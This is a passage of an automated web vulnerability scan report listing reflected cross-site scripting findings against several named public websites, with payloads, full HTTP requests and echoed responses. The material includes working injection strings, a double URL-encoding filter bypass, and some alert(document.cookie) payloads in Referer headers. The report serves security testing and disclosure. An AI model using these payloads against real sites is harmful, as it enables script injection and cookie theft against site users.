HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:26:32 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 19189
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/templates/beez_20/javascript/5eb32"a="b"5278668874e" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 138ab%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e9db6c5caf79 was submitted in the REST URL parameter 4. This input was echoed as 138ab"><img src=a onerror=alert(1)>9db6c5caf79 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /templates/beez_20/javascript/138ab%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e9db6c5caf79 HTTP/1.1 Host: www.lithuanianjoomla.com Proxy-Connection: keep-alive Referer: http://www.lithuanianjoomla.com/7-joomla-naujienosc1471%2522%253e%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e4fb583d3360/70-joomla-160-isleista.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:26:35 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 13599
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/templates/beez_20/javascript/138ab"><img src=a onerror=alert(1)>9db6c5caf79" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b767%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e5cd244f2c6a was submitted in the REST URL parameter 4. This input was echoed as 5b767"><img src=a onerror=alert(1)>5cd244f2c6a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /templates/system/css/5b767%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e5cd244f2c6a HTTP/1.1 Host: www.lithuanianjoomla.com Proxy-Connection: keep-alive Referer: http://www.lithuanianjoomla.com/7-joomla-naujienosc1471%2522%253e%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e4fb583d3360/70-joomla-160-isleista.html Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:26:50 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 19205
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/templates/system/css/5b767"><img src=a onerror=alert(1)>5cd244f2c6a" /> ...[SNIP]...
The value of the AWKeyWord request parameter is copied into the HTML document as plain text between tags. The payload c9632<script>alert(1)</script>217befb9173 was submitted in the AWKeyWord parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /landing/softwaretraining.aspx?AWKeyWord=Joomla!c9632<script>alert(1)</script>217befb9173&CourseURL=http%3a%2f%2fwww.lynda.com%2fhome%2fViewCourses.aspx%3flpk0%3d370&Ptitle=Joomla+Tutorials+and+Training+Online&_kk=joomla%20course&_kt=546081e7-492f-4261-b08e-49b0a582fb58/ HTTP/1.1 Host: www.lynda.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the AWKeyWord request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e443"><script>alert(1)</script>5be96c53ac6 was submitted in the AWKeyWord parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /landing/softwaretraining.aspx?AWKeyWord=Joomla!3e443"><script>alert(1)</script>5be96c53ac6&CourseURL=http%3a%2f%2fwww.lynda.com%2fhome%2fViewCourses.aspx%3flpk0%3d370&Ptitle=Joomla+Tutorials+and+Training+Online&_kk=joomla%20course&_kt=546081e7-492f-4261-b08e-49b0a582fb58/ HTTP/1.1 Host: www.lynda.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id="Head1"> <!-- Google ...[SNIP]... <meta name="Description" content="Award winning training, tutorials and courses on Joomla!3e443"><script>alert(1)</script>5be96c53ac6 from lynda.com" /> ...[SNIP]...
The value of the Ptitle request parameter is copied into the HTML document as text between TITLE tags. The payload afa34</title><script>alert(1)</script>90dcbb388f5 was submitted in the Ptitle parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /landing/softwaretraining.aspx?AWKeyWord=Joomla!&CourseURL=http%3a%2f%2fwww.lynda.com%2fhome%2fViewCourses.aspx%3flpk0%3d370&Ptitle=Joomla+Tutorials+and+Training+Onlineafa34</title><script>alert(1)</script>90dcbb388f5&_kk=joomla%20course&_kt=546081e7-492f-4261-b08e-49b0a582fb58/ HTTP/1.1 Host: www.lynda.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id="Head1"> <!-- Google ...[SNIP]... <title> Joomla Tutorials and Training Onlineafa34</title><script>alert(1)</script>90dcbb388f5 </title> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload a074f<script>alert(1)</script>c4a5acfda9b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /search/learn+typing+quick+and+easy+cracka074f<script>alert(1)</script>c4a5acfda9b/page/419/x22 HTTP/1.1 Host: www.masjo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 9e35f<script>alert(1)</script>b85cc6a8b1d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /search/learn+typing+quick+and+easy+crack/page9e35f<script>alert(1)</script>b85cc6a8b1d/419/x22 HTTP/1.1 Host: www.masjo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 523b0<script>alert(1)</script>4457b128473 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /search/learn+typing+quick+and+easy+crack/page/419523b0<script>alert(1)</script>4457b128473/x22 HTTP/1.1 Host: www.masjo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload 68220<script>alert(1)</script>b9ef2a5c755 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /search/learn+typing+quick+and+easy+crack/page/419/x2268220<script>alert(1)</script>b9ef2a5c755 HTTP/1.1 Host: www.masjo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head profile="http://gmpg.org/xfn ...[SNIP]... <span class="archive_header">Search results for 'learn typing quick and easy crack/page/419/x2268220<script>alert(1)</script>b9ef2a5c755'</span> ...[SNIP]...
4.1254. http://www.mathias-bank.de/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.mathias-bank.de
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52bf6"><script>alert(1)</script>b9c613ef1ae was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 52bf6\"><script>alert(1)</script>b9c613ef1ae in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?52bf6"><script>alert(1)</script>b9c613ef1ae=1 HTTP/1.1 Host: www.mathias-bank.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:44:37 GMT Server: Apache/2.2.14 (Ubuntu) X-Pingback: http://www.mathias-bank.de/xmlrpc.php Set-Cookie: bb2_screener_=1295930677+173.193.214.243; path=/ Set-Cookie: PHPSESSID=2066f5014dd99ed5895639ad60fa9529; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55124
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head profile="http://gmpg.org/x ...[SNIP]... <form enctype="multipart/form-data" action="/?52bf6\"><script>alert(1)</script>b9c613ef1ae=1#usermessagea" method="post" class="cform" id="cformsform"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e8c10"><a>3ada40ed7f6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /e8c10"><a>3ada40ed7f6/fitness/ab_exercises/136 HTTP/1.1 Host: www.mensfitness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:02 GMT Server: Apache/2.2.3 (Red Hat) Age: 2 Cache-Control: max-age=43197 Via: HTTP/1.1 cdn.mensfitness.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Tue, 25 Jan 2011 16:45:57 GMT Content-Type: text/html; charset=UTF-8 Via: 1.1 mdw107113 (MII-APC/1.6) Connection: close Content-Length: 45359
<html> <head>
<title>The T-Shirt Body Workout - Men's Fitness</title>
<meta name="Description" content="Fill out your favorite tee with our exclusive eight-week program for bigger shoulders, chest, ...[SNIP]... <a href="/e8c10"><a>3ada40ed7f6/fitness/ab_exercises/136?page=2"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1ff40"><img%20src%3da%20onerror%3dalert(1)>d8f23d3077c was submitted in the REST URL parameter 1. This input was echoed as 1ff40"><img src=a onerror=alert(1)>d8f23d3077c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /Tshirt_Workout1ff40"><img%20src%3da%20onerror%3dalert(1)>d8f23d3077c/fitness/ab_exercises/136?cid=RSS HTTP/1.1 Host: www.mensfitness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:58 GMT Server: Apache/2.2.3 (Red Hat) Age: 3 Cache-Control: max-age=43197 Via: HTTP/1.1 cdn.mensfitness.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Tue, 25 Jan 2011 16:46:54 GMT Content-Type: text/html; charset=UTF-8 Via: 1.1 mdw107104 (MII-APC/1.6) Connection: close Content-Length: 45515
<html> <head>
<title>The T-Shirt Body Workout - Men's Fitness</title>
<meta name="Description" content="Fill out your favorite tee with our exclusive eight-week program for bigger shoulders, chest, ...[SNIP]... <a href="/Tshirt_Workout1ff40"><img src=a onerror=alert(1)>d8f23d3077c/fitness/ab_exercises/136?page=2"> ...[SNIP]...
The value of REST URL parameter 1 is copied into an HTML comment. The payload bbc05--><img%20src%3da%20onerror%3dalert(1)>8f6acbad9ad was submitted in the REST URL parameter 1. This input was echoed as bbc05--><img src=a onerror=alert(1)>8f6acbad9ad in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /Tshirt_Workoutbbc05--><img%20src%3da%20onerror%3dalert(1)>8f6acbad9ad/fitness/ab_exercises/136?cid=RSS HTTP/1.1 Host: www.mensfitness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:47:22 GMT Server: Apache/2.2.3 (Red Hat) Age: 0 Cache-Control: max-age=43199 Via: HTTP/1.1 cdn.mensfitness.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Tue, 25 Jan 2011 16:47:21 GMT Content-Type: text/html; charset=UTF-8 Via: 1.1 mdw107109 (MII-APC/1.6) Connection: close Content-Length: 45519
<html> <head>
<title>The T-Shirt Body Workout - Men's Fitness</title>
<meta name="Description" content="Fill out your favorite tee with our exclusive eight-week program for bigger shoulders, chest, ...[SNIP]... <a href="/Tshirt_Workoutbbc05--><img src=a onerror=alert(1)>8f6acbad9ad/fitness/ab_exercises/136?page=2"> ...[SNIP]...
4.1258. http://www.metacafe.com/fplayer/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.metacafe.com
Path:
/fplayer/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16b81"><script>alert(1)</script>80bba3d2c73 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /fplayer/?16b81"><script>alert(1)</script>80bba3d2c73=1 HTTP/1.1 Host: www.metacafe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache P3P: CP="NOI CUR ADM OUR NOR STA NID" Content-Type: text/html Date: Tue, 25 Jan 2011 04:52:40 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: PHPSESSID=18a11c79c01e9a9b09a0778483da6edc; path=/; domain=.metacafe.com Set-Cookie: OAGEO=US%7CTX%7CDallas%7C75207%7C32.7825%7C-96.8207%7C623%7C214%7C%7C%7C; path=/; domain=.metacafe.com Set-Cookie: OAID=cf383f91fc349aa7e59df72701c88ee2; expires=Wed, 25-Jan-2012 04:52:40 GMT; path=/; domain=.metacafe.com Set-Cookie: User=%7B%22sc%22%3A1%2C%22visitID%22%3A%227df7ec86deb73de67e40953c3954dc60%22%2C%22LEID%22%3A15%2C%22LangID%22%3A%22en%22%2C%22npUserLocations%22%3A%5B244%5D%2C%22npUserLanguages%22%3A%5B9%5D%2C%22pve%22%3A1%7D; expires=Sun, 24-Jan-2016 04:52:40 GMT; path=/; domain=.metacafe.com Set-Cookie: dsavip=3585085612.20480.0000; expires=Tue, 25-Jan-2011 05:52:40 GMT; path=/ Content-Length: 162024
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.faceboo ...[SNIP]... <link rel="alternate" type="application/rss+xml" title="Metacafe - Online Video Entertainment - Free video clips for your enjoyment" href="/fplayer/rss.xml?16b81"><script>alert(1)</script>80bba3d2c73=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5f804"><img%20src%3da%20onerror%3dalert(1)>65919bb3738 was submitted in the REST URL parameter 1. This input was echoed as 5f804"><img src=a onerror=alert(1)>65919bb3738 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /index.php5f804"><img%20src%3da%20onerror%3dalert(1)>65919bb3738?action=addurl&bm_url={u}&bm_description={t} HTTP/1.1 Host: www.mister-wong.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:48:46 GMT Server: Apache Set-Cookie: wongsess=9c8cde65c0dd40716ec19743fefa9f7f; expires=Fri, 25 Jan 2036 10:48:46 GMT; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Length: 5394 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload fe3fe<script>alert(1)</script>0c8a8ecd74d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cssfe3fe<script>alert(1)</script>0c8a8ecd74d/promoCSS.php HTTP/1.1 Host: www.mytraderonline.com Connection: keep-alive Referer: https://www.mytraderonline.com/myt8ac25%3Cscript%3Ealert(document.cookie)%3C/script%3E9d5249ed1b2/sign-in/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 02:29:40 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 mod_ssl/2.0.63 OpenSSL/0.9.8l X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 26482
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/cssfe3fe<script>alert(1)</script>0c8a8ecd74d/promoCSS.php</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload e53d4<script>alert(1)</script>05046dfdb22 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /csse53d4<script>alert(1)</script>05046dfdb22/tolhomecss.php HTTP/1.1 Host: www.mytraderonline.com Connection: keep-alive Referer: https://www.mytraderonline.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_pers=%20s_nr%3D1295921299027%7C1298513299027%3B%20s_lv%3D1295921299028%7C1390529299028%3B%20s_lv_s%3DFirst%2520Visit%7C1295923099028%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 02:29:50 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 mod_ssl/2.0.63 OpenSSL/0.9.8l X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 26484
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/csse53d4<script>alert(1)</script>05046dfdb22/tolhomecss.php</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload fe8c5<script>alert(1)</script>e83e0eff03b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /javascriptfe8c5<script>alert(1)</script>e83e0eff03b/master_s_code.js HTTP/1.1 Host: www.mytraderonline.com Connection: keep-alive Referer: https://www.mytraderonline.com/myt8ac25%3Cscript%3Ealert(document.cookie)%3C/script%3E9d5249ed1b2/sign-in/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 02:29:26 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 mod_ssl/2.0.63 OpenSSL/0.9.8l X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 26493
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/javascriptfe8c5<script>alert(1)</script>e83e0eff03b/master_s_code.js</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload e904d<script>alert(1)</script>f127adaefca was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /javascripte904d<script>alert(1)</script>f127adaefca/realmedia.js HTTP/1.1 Host: www.mytraderonline.com Connection: keep-alive Referer: https://www.mytraderonline.com/myt8ac25%3Cscript%3Ealert(document.cookie)%3C/script%3E9d5249ed1b2/sign-in/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 02:29:29 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 mod_ssl/2.0.63 OpenSSL/0.9.8l X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 26489
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/javascripte904d<script>alert(1)</script>f127adaefca/realmedia.js</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8ac25<script>alert(1)</script>9d5249ed1b2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /myt8ac25<script>alert(1)</script>9d5249ed1b2/sign-in/ HTTP/1.1 Host: www.mytraderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:08:47 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 mod_ssl/2.0.63 OpenSSL/0.9.8l X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 26478
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/myt8ac25<script>alert(1)</script>9d5249ed1b2/sign-in/</span> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload b7b9e<script>alert(1)</script>9cd61b35c5c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /myt/sign-inb7b9e<script>alert(1)</script>9cd61b35c5c/ HTTP/1.1 Host: www.mytraderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:08:54 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 mod_ssl/2.0.63 OpenSSL/0.9.8l X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 26478
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/myt/sign-inb7b9e<script>alert(1)</script>9cd61b35c5c/</span> ...[SNIP]...
4.1266. https://www.mytraderonline.com/myt/sign-in/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.mytraderonline.com
Path:
/myt/sign-in/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5be1d"%3balert(1)//85941d9f6ff was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 5be1d";alert(1)//85941d9f6ff in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
